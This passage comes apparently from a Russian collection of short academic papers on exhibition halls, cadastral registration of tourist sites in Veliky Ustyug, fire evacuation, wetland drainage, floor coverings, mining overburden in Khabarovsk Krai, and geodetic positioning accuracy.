тами таких пространств становятся художники, модельеры, архитекторы и дизайнеры.  

6. Только один выставочный зал Beriozka Gallery с площадью порядка 1000 м2 
предлагает свое пространство в аренду под свободную функцию.  

Таким образом, практически при всех выставочных залах есть дополнительные 
функции. Малые выставочные залы отличаются от больших количеством дополнитель-
ных функций и их масштабностью. Они чаще имеют специализированную тематику и в 
большей степени ориентированы на элитарную культуру. Большие выставочные про-
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странства проводят мероприятия, относящиеся к массовой культуре, во многом они за-
трагивают цифровое искусство и мультимедиа.  

В итоге, на примере г. Санкт-Петербург выявлены виды экспонатов современ-
ных выставочных пространств и их дополнительные функции. Данные сведения суще-
ственно отличаются от положений, сформулированных в справочных пособиях конца 
ХХ века. Современные выставочные пространства характеризуются большей цифрови-
зацией и многофункциональностью. Малые выставочные залы ориентированы на уз-
кую тему, в них проводят камерные мероприятия определенного формата. Большие вы-
ставочные залы от 300 м2 должны быть рассчитаны на разные виды экспонатов и фор-
маты мероприятий. При проектировании важно предусматривать несколько сценариев 
использования, что влияет на архитектурные и объемно-планировочные решения, тех-
ническое оснащение зала.  
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ЗНАЧЕНИЕ КАДАСТРОВОГО УЧЕТА ДЛЯ ТУРИСТИЧЕСКОЙ  
ИНФРАСТРУКТУРЫ 
 
THE IMPORTANCE OF CADASTRAL REGISTRATION FOR TOURISM  
INFRASTRUCTURE 
 
Аннотация. Статья посвящена роли кадастрового учета в устойчивом развитии тури-
стической инфраструктуры на примере города Великий Устюг. В статье рассматривает-
ся значение кадастра для эффективного управления земельными ресурсами и объекта-
ми недвижимости в туристической сфере. Особое внимание уделяется туристическому 
потенциалу Великого Устюга, влиянию туризма на экономику и сохранение культурно-
го наследия города. Анализируется роль кадастрового учета в планировании развития 
туристических территорий, привлечении инвестиций и обеспечении прозрачности 
управления объектами туристической инфраструктуры. В качестве иллюстрации при-
водятся данные о кадастровом учете различных туристических объектов Великого 
Устюга, демонстрирующие практическое применение кадастра в сфере туризма. 
Abstract. The article is devoted to the role of cadastral registration in the sustainable devel-
opment of tourist infrastructure using the example of the city of Veliky Ustyug. The article 
examines the importance of the cadastre for the effective management of land resources and 
real estate in the tourism sector. Special attention is paid to the tourism potential of Veliky 
Ustyug, the impact of tourism on the economy and the preservation of the cultural heritage of 
the city. The article analyzes the role of cadastral registration in planning the development of 
tourist territories, attracting investments and ensuring transparency in the management of 
tourist infrastructure facilities. As an illustration, data on the cadastral registration of various 
tourist sites in Veliky Ustyug are presented, demonstrating the practical application of the ca-
dastre in the field of tourism. 
Ключевые слова: кадастровый учет, туристическая инфраструктура, устойчивое развитие 
Keywords: cadastral registration, tourist infrastructure, sustainable development 

 
Кадастр – это систематизированный свод сведений об объектах недвижимости, 

включающий их местоположение, площадь, кадастровую стоимость и другие характе-
ристики. Он является основой для государственного управления земельными ресурсами 
и недвижимостью. Кадастровый учет представляет собой процесс сбора, обработки, 
хранения и обновления информации о земельных участках и объектах недвижимости, а 
также их правовом режиме. Все данные об объектах содержатся в едином государ-
ственном реестре недвижимости (ЕГРН). Этот процесс включает в себя регистрацию 
новых объектов, внесение изменений в существующие данные, а также обеспечение 
доступности информации для заинтересованных сторон – граждан, государственных 
органов и частных организаций.  Кадастровый учет имеет особое значение в планиро-
вании и развитии туристической инфраструктуры. В условиях, когда сфера туризма 
становится важным элементом экономического роста, эффективно функционирующая 
кадастровая система обеспечивает справедливое распределение ресурсов и площадей 
для наиболее выгодного и устойчивого развития туристической деятельности. 

Рассмотрим туристический потенциал Великого Устюга как основу устойчивого 
развития города. Великий Устюг - один из старейших городов на Русском Севере, ос-
нованный в 1147 году. Расположен в стратегически выгодном месте на слиянии рек Су-
хона и Юг. Успех Великого Устюга как туристического центра демонстрирует потен-
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циал культурного туризма для устойчивого регионального развития. Богатая история, 
самобытные традиции и выгодное географическое положение привлекают туристов со 
всей страны, а резиденция Деда Мороза является ключевым элементом его культурного 
и туристического бренда [1]. Туризм играет ключевую роль в устойчивом развитии Ве-
ликого Устюга, обеспечивая: сохранение культурного наследия, экономический рост, 
развитие инфраструктуры, повышение качества жизни. Туристический интерес к исто-
рическим памятникам и музеям способствует их реставрации и сохранению для буду-
щих поколений. Туризм также помогает продвигать местные изделия и услуги, что со-
здает дополнительные возможности для самозанятости и бизнеса, особенно в сфере 
гостиничного и ресторанного обслуживания, сувенирной торговли и услуг гида. Также 
улучшается качество жизни местного населения за счет создания рабочих мест и разви-
тия инфраструктуры. Основным туристическим объектом Великого Устюга является 
Вотчина Деда Мороза. Это главная достопримечательность, привлекающая туристов со 
всей России. Представляет собой развлекательный комплекс с тропой сказок, почтовым 
отделением и теремом Деда Мороза, ледником, зимним садом, кузницей, зоосадом и 
многим другим. Кроме того, Великий Устюг богат музеями, церквями, монастырями и 
купеческими домами, которые отражают историю и культуру города. Кадастровый учет 
в данном случае играет важную роль в обеспечении устойчивого развития территорий 
по нескольким причинам. Во-первых, кадастровый учет обеспечивает прозрачность 
информации о земельных участках и объектах недвижимости, что важно для инвесто-
ров, туристических компаний и других заинтересованных сторон. Открытый доступ к 
кадастровым данным позволяет оценить потенциал территории для развития туризма, 
планировать инвестиции и принимать обоснованные решения. Во-вторых, кадастровые 
данные используются для планирования и развития туристической инфраструктуры – 
дорог, коммуникаций, объектов размещения и развлечений [2]. Наличие точной ин-
формации о земельных участках упрощает процесс проектирования и строительства. В-
третьих, кадастровый учет позволяет эффективно управлять земельными ресурсами, 
контролировать их использование и предотвращать незаконные застройки. Это особен-
но важно в туристических зонах, где необходимо сохранять природные ландшафты и 
предотвращать хаотичную застройку. Данные, полученные в результате кадастрового 
учета, отображаются на публичной кадастровой карте (рисунок 1). Это онлайн-сервис, 
в котором в графической и текстовой форме воспроизводятся сведения, содержащиеся 
в государственном кадастре недвижимости и реестре прав на него, а также вспомога-
тельные инструменты [3]. 

 
Рисунок 1 - Вотчина Деда Мороза на публичной кадастровой карте 

В контексте туризма, кадастровый учет позволяет определить, какие земельные 
участки и объекты недвижимости могут быть использованы для развития туризма, ка-
кие объекты являются культурно-историческими памятниками и требуют охраны, а 
также какие территории нуждаются в развитии инфраструктуры. Кадастровый номер 
позволяет однозначно идентифицировать каждый объект и получить о нем всю необхо-
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димую информацию, что существенно упрощает процесс планирования и управления 
туристическими территориями. 

Каждый объект недвижимости, будь то Вотчина Деда Мороза, музей или гости-
ница, имеет свой кадастровый номер и зарегистрированную площадь (таблица 1). 

Таблица 1 - Кадастровый учет туристических объектов в Великом Устюге 
№ Туристический объект Площадь земельного 

участка, м² 
Кадастровый номер 

1 Вотчина Деда Мороза 456 000 35:10:0306012:318 
2 Музей новогодней игрушки 1 737 35:10:0103033:4 
3 Дом Моды Деда Мороза 728 35:10:0103027:17 
4 Музей древнерусского  

искусства 
2 313 35:10:0103033:5 

5 Церковь Николы  
Гостунского 

8 607 35:10:0103033:6 

6 Церковь Димитрия Солунско-
го в Дымковской слободе 

5 200 35:10:0106001:1 

7 Великоустюгский  
музей-заповедник 

4 124 35:10:0103026:5 

8 Соборное дворище 7 265 35:10:0103032:3 
9 Городская резиденция Деда 

Мороза 
535 35:10:0103025:232 

10 Депозитарий Великоустюг-
ского музея-заповедника 

2 170 35:10:0103024:7 

11 Усадьба М.М. Булдакова 9 556 35:10:0103023:1 
12 Михаило-Архангельский 

мужской монастырь 
32 262 35:10:0103013:3 

13 Церковь Сретения Господня 3 194 35:10:0103017:349 
 

В таблице представлены различные типы туристических объектов: резиденции 
Деда Мороза (Вотчина и Городская), музеи (новогодней игрушки, древнерусского ис-
кусства, Великоустюгский музей-заповедник, депозитарий музея), религиозные объек-
ты (церкви, монастырь, соборное дворище), а также историческая усадьба. Это свиде-
тельствует о разнообразии туристического предложения Великого Устюга. 

Площадь земельного участка Вотчины Деда Мороза (456 000 м²) значительно 
превышает площадь других объектов. Это подтверждает ее статус главной туристиче-
ской достопримечательности города. 

Наличие кадастровых номеров у всех перечисленных объектов свидетельствует об 
их официальной регистрации и учете. Это важно для прозрачности управления земель-
ными ресурсами и развития туристической инфраструктуры. Все объекты находятся в 
одном кадастровом квартале (35:10), что указывает на их территориальную близость. 

Кадастровый учет является неотъемлемой частью планирования и развития ту-
ристической инфраструктуры. Он обеспечивает необходимую информацию для приня-
тия обоснованных управленческих решений, что в свою очередь способствует созда-
нию устойчивой и привлекательной для туристов среды. Использование кадастровых 
данных для развития туристической инфраструктуры позволяет оптимизировать ресур-
сы, повышает безопасность и качество предлагаемых услуг, а также способствует гар-
моничному развитию территории, что является важным аспектом в современных усло-
виях глобализации и растущей конкуренции в сфере туризма. В случае Великого Устю-
га, важно продолжать развивать туристическую инфраструктуру города, учитывая ка-
дастровый учет и особенности региона, чтобы обеспечить долгосрочные выгоды как 
для местного населения, так и для туристов. Объединение усилий в этих сферах позво-
лит сохранить уникальность Великого Устюга и сделать его привлекательным для бу-
дущих поколений. 
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ЭВАКУАЦИЯ НАСЕЛЕНИЯ ПРИ ПОЖАРЕ 
 
EVACUATION OF THE POPULATION IN CASE OF FIRE 

Аннотация. В статье рассмотрен один из вариантов негативных исходов - отравление 
угарным газом при возникновении пожара. Описаны важные меры предосторожности, 
которые сведут к минимуму последствия для жизни и здоровья людей при пожаре. Рас-
смотрен алгоритм разработки плана эвакуации и требования к путям эвакуации.  
Abstract. The article considers one of the variants of negative outcomes - carbon monoxide 
poisoning in the event of a fire. Important precautions are described that will minimize the 
consequences for human life and health in case of fire. An algorithm for developing an evacu-
ation plan and requirements for evacuation routes is considered. 
Ключевые слова: пожарная безопасность, угарный газ, план эвакуации, мероприятия, 
действия. 
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В результате пожара возникает угарный газ, также известный как окись углеро-

да, – это опасный газ, не имеющий ни цвета, ни запаха. Он незаметно проникает в орга-
низм и может убить, прежде чем вы почувствуете его воздействие [1].  

Угарный газ может выделяться из  также из различных других  источников, 
включая: 

 газовые приборы (плиты, обогреватели, водонагреватели); 
 дровяные печи и камины; 
 выхлопные газы автомобилей. 
Будьте бдительны и помните: угарный газ – невидимый убийца. 
На ранних стадиях отравления симптомы могут напоминать грипп: головная 

боль, головокружение, тошнота, усталость. В зависимости от концентрации CO2 и вре-
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мени воздействия симптомы могут проявляться по-разному, особенно у детей и пожи-
лых людей. В качестве защиты рекомендуется установить детектор угарного газа (ри-
сунок 1). Поставьте его лучше в спальне, убедившись, что он верифицирован и имеет 
звуковой сигнал. Детектор срабатывает если уровень угарного газа превышает норму.  

Важные меры предосторожности: 
 никогда не использовать газовые приборы для обогрева; 
 не оставлять машину заведенной в гараже; 
 регулярно проверять газовые приборы и дымоходы. 
При срабатывании датчика угарного газа необходимо эвакуировать всех из дома. 

При необходимости вызвать скорую помощь и пожарных, определить, кто чувствует 
себя плохо, сказать диспетчеру о количестве пострадавших и их симптомы. План эва-
куации –  это путь к спасению (рисунок 1) [2, 3]. Для разработки плана эвакуации необ-
ходимо следовать определенному алгоритму. 

 
Рисунок 1 – План эвакуации людей при пожаре и 

датчики угарного газа 
Рекомендуется определить риски, для этого оцениваются все помещения в ва-

шем доме,  определяются опасные зоны, выявляются места с повышенным риском по-
жара (например, кухня, гараж, камин), проводится анализ с целью выявления потенци-
альных путей распространения огня и дыма. 

Для разработки плана определятся два пути эвакуации основной и резервный из 
каждого помещения. 

Следует очистить пути от захламленности, убрать лишнюю мебель, провести 
уборку и убедиться в том, что пути эвакуации свободны от препятствий. 

Рекомендуется установить дымовые извещатели и проверить их работу. Все 
члены семьи должны уметь пользоваться пожарной сигнализацией. Заранее необходи-
мо продумать о месте эвакуации, куда все члены семьи смогут собраться после чрезвы-
чайной ситуации [4, 5].  

Периодически проводимые учебные эвакуации повысят шансы людей на выжи-
вание, так как помогут приобрести навыки  точных действий при чрезвычайной ситуа-
ции, снизив трату времени на  ненужную суету.  Такие репетиции  доведут действия до 
автоматизма и  помогут убедиться, что все знают, что делать. 

Объясните, что делать в случае пожара в порядке очередности. Во-первых не-
медленно покиньте дом при обнаружении огня или дыма, двигайтесь к полу, так  как 
дым поднимается вверх, поэтому ближе к полу воздух чище. Не открывайте двери, они 
могут быть горячими из-за огня, с другой стороны. Во-вторых, если ваша одежда заго-
релась, катайтесь по земле, чтобы потушить огонь. 

Забота о пожилых людях и детях должна быть  в приоритете. Необходимо обес-
печить их  поддержкой, обучить их действиям при пожаре, а также убедитесь, что они 
могут легко и быстро выбраться из дома.  
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Дети также  должны быть информированы по действиям при пожаре. Никогда 
не оставляйте детей без присмотра рядом с огнем. Объяснять эти правила нужно, ис-
пользуя понятный для них язык, то, что огонь – это не игрушка. После эвакуации сле-
дует оставаться на безопасном расстоянии от пожара, не возвращаться в горящее зда-
ние, сообщить   в пожарную службу о пожаре и по возможности оказывать помощь по-
страдавшим. Запомните, что лучшая защита от огня – это профилактика, всегда будьте 
бдительны и помните о безопасности, а для этого планируйте заранее действия и будьте 
готовы к пожару. 
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К ВОПРОСУ ОСУШЕНИЯ ЗАБОЛОЧЕННЫХ ЗЕМЕЛЬ НА УЧАСТКАХ, 
ОТВЕДЕННЫХ ПОД СЕЛЬСКОЕ ХОЗЯЙСТВО 
 
ON THE ISSUE OF DRAINAGE OF WETLANDS IN AREAS DESIGNATED  
FOR AGRICULTURE 
 
Аннотация. В статье рассмотрены причины осушения болот на территориях земель, ис-
пользуемых под нужды сельского хозяйства. Проанализирован процесс заболачивания 
водоемов и прудов. Изучены предпосылки превращения водоемов в болота. Представ-
лены возможности применения болот и заболоченных земель в сельском хозяйстве. 
Abstract. The article considers the causes of drainage of swamps in the territories of lands 
used for the needs of agriculture. The process of damming of reservoirs and ponds is ana-
lyzed. The prerequisites for the transformation of reservoirs into swamps have been studied. 
The possibilities of using swamps and wetlands in agriculture are presented. 
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Сельское хозяйство является одной из важнейших отраслей в жизни и экономике 
человека, которая направлена на обеспечение населения продовольствием и органиче-
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ским сырьем для дальнейшего использования в промышленных масштабах. Все чаще и 
чаще в современном обществе поднимаются вопросы увеличения числа плодородных 
земель для возделывания тех или иных сельскохозяйственных культур. В районах с вы-
соким распространением болот проблема их осушения становится все более и более 
приоритетной. Этот процесс имеет свои плюсы и минусы, чем вызывает противоречия 
среди специалистов и общественности. 

Актуальность темы связана с проблемой заболоченных территорий, которые за-
нимают значительные площади и негативно влияют на экономическое состояние реги-
онов. Осушение данных территорий позволяет использовать эти территории под нужды 
сельского хозяйства, вводя их в сельскохозяйственный оборот, однако данный процесс 
вызывает экологические риски и нарушает экологический баланс экосистем. 

Цель данного исследования – проанализировать противоречия, возникающие 
при осушении болот на землях, отведенных под сельскохозяйственные нужды, путем 
рассмотрения плюсов и минусов данного процесса, а также предложить возможное ре-
шение для минимизации негативных последствий. 

Осушение болот – мероприятия, направленные на регулирование уровня грунто-
вых вод в почве и снижение влажности в ее верхних слоях. Данная процедура прово-
дится в рамках мелиорации и рекультивации. 

Основным результатом такой практики является увеличение процента плодо-
родных земель. Болота располагаются на равнинах, которые лучше всего подходят для 
создания пастбищ и полей. Почва пойменных болот после выполнения комплекса ме-
лиоративных мероприятий имеет высокую ценность в сельском хозяйстве. Непоправи-
мый вред экологическому и сельскому хозяйству во всем мире приносят торфяные по-
жары. 

Рассмотрим систему превращения водоема в болото (рисунок 1). Как правило, 
они образуются на месте небольших по размеру озер и прудов.  

 
Рисунок 1 – Схема превращения водоема в болото 

На дне водоемов многими десятилетиями образуется сапропелевый слой. Са-
пропель – илистые органические отложения, образуемые из остатков растительности, 
живых организмов в результате совмещения двух факторов: ограниченного количества 
кислорода и пресности воды [1].  

Накапливание остатков органических веществ и зарастание тростником и камы-
шом прибрежной зоны вызывают обмеление водоема и смену растительности на мел-
ководный тип: осока, хвощ, сабельник. Последнее растение обладает мощной корневой 
системой: длина корневища составляет 3 м. Со временем растительность «затягивает» 
водоем, сменяясь сфагновыми (торфовыми) мхами. Несмотря на многометровую толщу 
воды, находящийся над ней торф легко воспламеняется. 
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Поэтому пожар на торфяном болоте – опасный и неуправляемый процесс: торф 
растет снизу-вверх, при этом уплотняя нижние слои, а вода, находящаяся под ним, 
начинает испаряться. К тому же, обычная техника для тушения пожаров не сможет 
пройти в заболоченные места. 

Как было сказано выше, большинство пастбищ и полей устраивают на равнин-
ных территориях, характеризующихся медленным поверхностным стоком. В сезоны 
таяния снега и затяжных дождей территории подвергаются длительному застою водных 
масс, что задерживает сельскохозяйственные работы. Избыточное увлажнение почвы 
приводит к ухудшению состояния возделываемых культур и, как следствие, их гибели. 

Действительно, аргументов в пользу осушения болот достаточно. Однако воз-
можности применения болот и заболоченных земель в сельском хозяйстве довольно 
обширны. Например, болота – это кладезь полезных ягод, лекарственных и кормовых 
растений. Так, в Беларуси при естественных условиях активно осваивают болота мето-
дом выращивания клюквы в производственных масштабах, используя плантации [3]. 

Одним из самых популярных методов использования болот в качестве ресурса – 
добыча торфа, который потом используется в качестве удобрения, топлива, кормовых 
средств в животноводстве, а также подстилок для предупреждения инфекционных за-
болеваний животных. Не секрет, что торф является прекрасным компонентом для 
улучшения свойств почв. Еще одна заслуга торфа в сельском хозяйстве – это метод 
торфопоники.  

Данный метод представляет собой выращивание сельскохозяйственных культур 
прямо на торфе: зеленая масса вместе с торфом-субстратом впоследствии скармливает-
ся некоторым видам животных [4]. 

На территории Хабаровского края насчитывается множество типов экзогенных 
геологические процессов: оползни, овражная эрозия, сели, боковая и донная эрозия рек, 
подтопление, заболачивание. По данным Доклада о состоянии и использовании земель 
Хабаровского края (таблица 1), земли под болотами занимают 13,8% от категории сель-
скохозяйственных земель, что составляет 55, 2 тыс. га.  

Таблица 1 - Распределение земель сельскохозяйственного назначения по угодьям 

 
По общей площади болот и заболоченных земель край занимает второе место 

среди регионов Дальневосточного Федерального округа. Болотные угодья включены и 
в другие категории земель, например: земли лесного фонда - 4504,8 тыс. га (6.1%), зем-
ли особо охраняемых природных территорий – 243,1тыс. га (14,85%) и т.д. Ученые счи-
тают нежелательными в Хабаровском крае осушения болот на больших площадях и ин-
тенсивные разработки торфяных залежей. Это может привести к ухудшению экологи-
ческой ситуации в крае, учитывая природоохранное значение болот. 
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Из всего выше сказанного, можно заключить, что осушение болот на землях, 
предназначенных под сельскохозяйственное использование – явление достаточно рас-
пространенное. Однако последствия данного мероприятия могут быть значительны, а 
экономическая польза – минимальна. Лучшим вариантом будет провести на таких поч-
вах геолого-геодезические исследования, чтобы получить заключение о тенденции за-
болачивания рассматриваемой территории. Разработка дренажной системы с учетом 
особенностей рельефа и уровня заболоченности позволит урегулировать водный баланс 
территории и добиться высокой урожайности посевов. 
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БЕЗОПАСНОЕ ПОКРЫТИЕ НАПОЛЬНЫХ ПОЛОВ 
 
SAFE FLOOR COVERING 
 
Аннотация. Выбор безопасного напольного покрытия для дома – это важное решение, 
которое влияет на комфорт и здоровье всех членов семьи. В работе рассмотрены  
напольные покрытия, плюсы и минусы, а также вред, который может нанести непра-
вильно подобранное покрытие для человека. Рассмотрены рекомендации по выбору 
экологичных покрытий,  которые предпочтительно приобретать, чтобы сохранить здо-
ровье. 
Abstract. Choosing a safe floor covering for a home is an important decision that affects the 
comfort and health of all family members. The paper considers floor coverings, pros and cons, 
as well as the harm that an incorrectly selected coating can cause to a person. Recommenda-
tions on the choice of eco-friendly coatings, which are preferably purchased in order to pre-
serve health, are considered. 
Ключевые слова: напольное покрытие, здоровье, безопасность, комфорт. 
Key words: flooring, health, safety, comfort. 
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При выборе напольного покрытия важно учитывать не только его эстетические 
качества, но и потенциальные риски для безопасности и здоровья потребителей. Реко-
мендуется выбирать правильные покрытия, которые соответствуют стандартам без-
опасности и экологичности, а также обеспечивают комфорт и защиту. Далеко не все 
материалы безвредны. Маленькие дети, аллергики и домашние питомцы могут столк-
нуться с угрозой здоровью, проживая в квартире с некачественным напольным покры-
тием.  

Покупатели ждут от пола износостойкости, долговечности, привлекательный ди-
зайн, прочность, легкости уборки. 

Выбрать финишное покрытие для пола – это непростая задача, но сделать это 
надо правильно, чтобы жить в доме было комфортно. Новый пол должен быть не толь-
ко красивым, но и прочным, безопасным и долговечным.  

Одна из требуемых характеристик – легкий уход. Чтобы проще было сделать 
выбор, разберем преимущества  (рисунок 1) и недостатки разных видов напольных по-
крытий для помещений. 

Существуют разные виды отделок: паркетная доска, инженерная доска, ковро-
лин, наливной пол, пробка, ламинат, линолеум, керамическая плитка, ПВХ или винил. 

Напольные покрытия могут нанести вред здоровью человеку, его безопасности и 
комфорту с разных точек зрения [1, 2, 3]. Вот некоторые потенциальные проблемы, 
связанные с различными типами напольных покрытий. 

 
Рисунок 1  - Требуемые свойства напольных покрытий 

1. Некоторые покрытия обладают скользкой поверхностью. Плитка или полы из 
ламината могут быть скользкими, особенно  после влажной уборки, что увеличивает 
риск падений и травм. 

Шероховатые поверхности могут  вызвать спотыкания и падения. 
2. Такие напольные покрытия, как ковры, могут накапливать пыль, аллергены, 

плесень и микробы, что может вызвать аллергические реакции и проблемы с дыхатель-
ной системой. 

Такие синтетические покрытия как линолеум, винил могут выделять летучие ор-
ганические соединения, которые негативно сказываются на здоровье, вызывая голов-
ные боли, головокружение и другие симптомы. 

Ряд древесных и композитных материалов могут содержать формальдегиды, ко-
торые являются канцерогенными веществами и вызывать онкологические заболевания. 
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3. Некоторые покрытия могут быть некомфортными и холодными на ощупь, 
например, плитка, что может вызвать дискомфорт особенно в зимнее время года [4]. 

 Слишком жесткие покрытия создают повышенный шум при ходьбе, что являет-
ся нежелательным в  многоквартирных домах. 

 4. В зависимости от того слишком жесткие или мягкие напольные покрытия 
может оказываться негативное влияние на суставы и позвоночник из-за недостаточной 
амортизации. 

Таким образом, необходимо акцентировать внимание не только на внешний вид 
материала, но и на качественные характеристики. 

Чтобы выбрать правильные напольные покрытия требуется тщательный подход, 
направленный на определение всевозможных рисков от материалов, используемых при 
производстве покрытий [5].  
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TECHNOSPHERE SAFETY OF STRIPPING OPERATIONS  
IN THE GEOECOLOGICAL CONDITIONS OF THE KHABAROVSK TERRITORY 

 
Аннотация. В статье показано влияние природных условий Хабаровского края на про-
ведение вскрышных геологических работ для добычи полезных ископаемых. Покрыва-
ющие тело минерального сырья осадочные горные породы, могут иметь различную 
структуру, состав и строение и могут быть пригодны для различных хозяйственных це-
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лей, в строительной промышленности, сельском хозяйстве и т.д.  Часть вскрытых пород 
временно складируется в отвалы в качестве вторичного сырья для производственного 
«обогащения». Площадь поверхности антропогенных ландшафтов, созданных с исполь-
зованием изъятых с поверхности осадочных пород ежегодно возрастает.  В статье, нами 
представлена стратегия и алгоритм данного вида хозяйственной деятельности и рас-
смотрены проблемы обеспечения техносферной безопасности.  
Abstract. The article shows the influence of the natural conditions of the Khabarovsk Territo-
ry on the conduct of overburden geological work for the extraction of minerals. Sedimentary 
rocks covering the body of mineral raw materials can have a different structure, composition 
and structure and can be suitable for various economic purposes, in the construction industry, 
agriculture, etc. Part of the exposed rocks is temporarily stored in dumps as secondary raw 
materials for industrial "enrichment". The surface area of anthropogenic landscapes created 
using sedimentary rocks removed from the surface is increasing every year. In the article, we 
present the strategy and algorithm of this type of economic activity and consider the problems 
of ensuring technosphere safety. 
Ключевые слова: вскрышные работы, геологические условия, геоэкология, добыча ми-
нерального сырья, техносферная безопасность, утилизация отходов добычи ископае-
мых, Хабаровский край 
Keywords: Stripping, geological conditions, geoecology, mining of mineral raw materials, 
technosphere safety, utilization of mining waste, Khabarovsk Territory. 

 
Хабаровский край богат различными минеральными ресурсами, часть из кото-

рых залегает близко к поверхности и может быть извлечена «открытым способом». Для 
осуществления данного вида техносферной деятельности необходимо удалить верхний 
слой осадочных пород, включающий в себя почвы, грунты, измельчённую осадочную 
породу, твёрдые слои вмещающих в себя рудное тело осадочных пород. Перед этим, 
необходимо рационально использовать все выявленные биологические ресурсы, кото-
рые, как и почвы, имеют значительную геоэкологическую ценность.  

Вскрытие горных пород неизбежно наносит ущерб природным ландшафтам, по-
этому начало вскрышных работ возможно только после выполнения задач этапа пред-
варительной подготовки, который включает: 

1. Чёткое определение границ будущего геологического обнажения; 
2.  Выявление микрорельефа местности;  
3.  Обеспечение подъездных путей, зон активной деятельности, складирования 

объёмов изымаемых осадочных пород и т.д. 
Успешное завершение данного этапа можно считать состоявшимся только при 

наличии полного комплекса документации на проведение природоохранной деятельно-
сти, обеспечении техносферной безопасности и представлении алгоритма инженерно-
технических мероприятий. Предварительная оценка ущерба, нанесённого состоянию 
экосистем, позволяет одновременно принимать меры по рациональному природополь-
зованию и планированию восстановления ландшафта с учётом необходимости утили-
зации изымаемых ресурсов и наличия биологического потенциала природных систем, 
не затронутых антропогенной деятельностью. До начала ведения основных работ про-
водится моделирование различных производственных ситуаций, информационно-
технической основой которого является выявление всех негативных факторов и воз-
можные преобразования их параметров в условиях изменения геологической обстанов-
ки, ресурсы оптимизации техногенных ситуаций, предотвращения или минимизации 
ущерба. Специфика стратегии освоения месторождения определяется в первую очередь 
положением искомого минерального ресурса по отношению к формам современного 
рельефа. Вскрышные работы можно проводить в условиях: 
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1. Выположенных водоразделов, уплощённых вершин и склонов средних и низ-
ких гор, для добычи руд железа и цветных металлов, поделочных и драгоценных кам-
ней, строительных материалов, графита и угля (рисунок 1); 

 
Рисунок 1 - Добыча цветных металлов на уплощённой вершине плато 

2. Пред склоновые стеночные вскрышные работы используются для тех же це-
лей и в дальнейшем, преобразуются в эффектные карьеры (рисунок 2). 

 
Рисунок 2 - Карьер посёлка Горный с водоёмом, используемым для купания 

3. Речных и горных долин, для выхода на поверхность глин, песков и галечни-
ков, содержащих минеральное сырье в виде россыпных месторождений (рисунок 3);  

 
Рисунок 3 - Разработка галечника в долине реки 

4. При наличии наклона местности и на сглаженной поверхности, например, до-
быча соли погребённых озёр и снятие слоя болотной растительности для добычи торф 
сапропелей (рисунок 4). 

 
Рисунок 4 - Добыча полиметаллических руд при наличии наклона местности 

Среди негативных геоэкологических факторов, способных в условиях Хабаров-
ского края принимать роль ведущих в формировании той или иной чрезвычайной ситу-
ации, можно выделить: 

1. Геохимический, воздействие которых связано с обнажением химически ак-
тивных горных пород и минералов, их распространением и воздействием через атмо-
сферу, подземные и поверхностные воды и т.д. Ущерб здоровью человека проявляется 
после длительного воздействия и носит характер хронических системных заболеваний; 

2. Геологический, проявляет себя движением вещества под воздействием экзо-
генных процессов, с ведущей ролью энергии силы тяжести. Включает формирование 
обвалов, оползней, процессы крипа, солифлюкции, редко – сход селевых потоков; 
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3. Метеорологический, определяет характер погодных условий, в пределах 
нашего края не способствующих формированию комфортных условий жизнедеятель-
ности персонала. 

4. Гидрологический, оказывает воздействие изменением облика речной долины, 
затоплением пойм и подтоплением террас, воздействием ледостава и ледохода, проры-
вом плотин, низким уровнем межени и т.д.  

5. Биологический фактор проявляет своё воздействие преимущественно в тёп-
лое время года, включая воздействие кровососущих насекомых и клещей, опасность 
укусов змей и нападения диких животных. Часто недоучитывают опасность влияния 
ядовитых растений, вызывающих ожоги и пищевые отравления, а также досрочное 
прекращение спячки медведей. 

Закон РФ от 21.02.1992 № 2395-1 (ред. от 08.08.2024) «О недрах» содержит ста-
тью 23.5, определяющею последовательность проведения работ по добыче полезных 
ископаемых и полезных компонентов из вскрышных и вмещающих горных пород, и 
рекомендации по направлениям их использования.    

Например, массы вскрышных и вмещающих горных пород, могут использоваться: 
 Для обеспечения добычи полезных ископаемых, например, строительства дорог; 
 Для получения из них полезных компонентов;   
 для собственных производственных и технологических нужд, например, 

сглаживания рельефа, подпора склонов, закладки в основания строительных конструк-
ций, создания опорных и балластных масс;  

 для ликвидации (посредством засыпки или создания контуров заграждений 
движению масс обломков горных пород и т.д.) ранее созданных горных выработок и 
иных сооружений;  

 для рекультивации земель;  
 для передачи иному лицу для собственных производственных и технологиче-

ских нужд, не связанных с пользованием недрами.  
Приказ Ростехнадзора от 19.05.2023 №186, устанавливает Правила осуществле-

ния маркшейдерской деятельности. Они действуют с 1 сентября 2023 года и будут в 
силе до 1 сентября 2029 года. 

Кроме этого, приказом № 247/04, Минприроды России и Роснедр утверждён, от 
25 апреля 2023 г., порядок использования отходов недропользования, в том числе 
вскрышных и вмещающих горных пород, пользователями недр. Алгоритм проведения 
геологоразведочного цикла кадастровых исследований месторождений Хабаровского 
края включает теоретические стадии научно-технических работ сбора информации, от-
ражения информации на цифровых и картографических материалах, её анализ, модели-
рование ситуаций и составление прогнозов. Этапы кадастровой деятельности, при со-
блюдении последовательности выполнения и реализации их задач, могут быть исполь-
зованы как единицы критерия готовности к началу эксплуатации новых перспективных 
месторождений Хабаровского края, уточнении запасов уже эксплуатируемых или за-
консервированных рудников и россыпей, а также при рекультивации нарушенных зе-
мель для их повторного включения в хозяйственный оборот. Соответственно, для обес-
печения безопасной техносферной деятельности персонала, выполняющего вскрышные 
работы, как один из видов работ, входящих в цикл маркшейдерской деятельности, в ос-
новном известны составляющие риска профессиональной деятельности, которые опре-
деляются природными факторами Хабаровского края, особенностями залегания рудно-
го тела, законодательными актами РФ, направленными на охрану труда. 
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Аннотация. Анализ и расчет точности позиционирования пунктов сети геодезического 
полигона Комсомольского-на-Амуре государственного университета позволяет суще-
ственно повысить эффективность его использования в учебном процессе. В работе 
представлены методика и результаты расчета точности позиционирования пунктов гео-
дезического полигона. Анализ полученных результатов обеспечивает объективность 
выбора инструмента и методики позиционирования. 
Abstract. The analysis and calculation of the accuracy of the positioning of points in the net-
work of the geodetic polygon of Komsomolsk-on-Amur State University makes it possible to 
significantly increase the efficiency of its use in the educational process. The paper presents 
the methodology and results of calculating the accuracy of positioning points of a geodetic 
polygon. The analysis of the obtained results ensures the objectivity of the choice of the tool 
and the positioning technique. 
Ключевые слова: геодезический полигон, геодезический пункт, плановые координаты, 
точность позиционирования, методика расчета. 
Key words: geodetic polygon, geodetic point, planned coordinates, positioning accuracy, cal-
culation method. 

 
Анализ и расчет точности позиционирования пунктов сети геодезического поли-

гона Комсомольского-на-Амуре государственного университета позволяет существен-
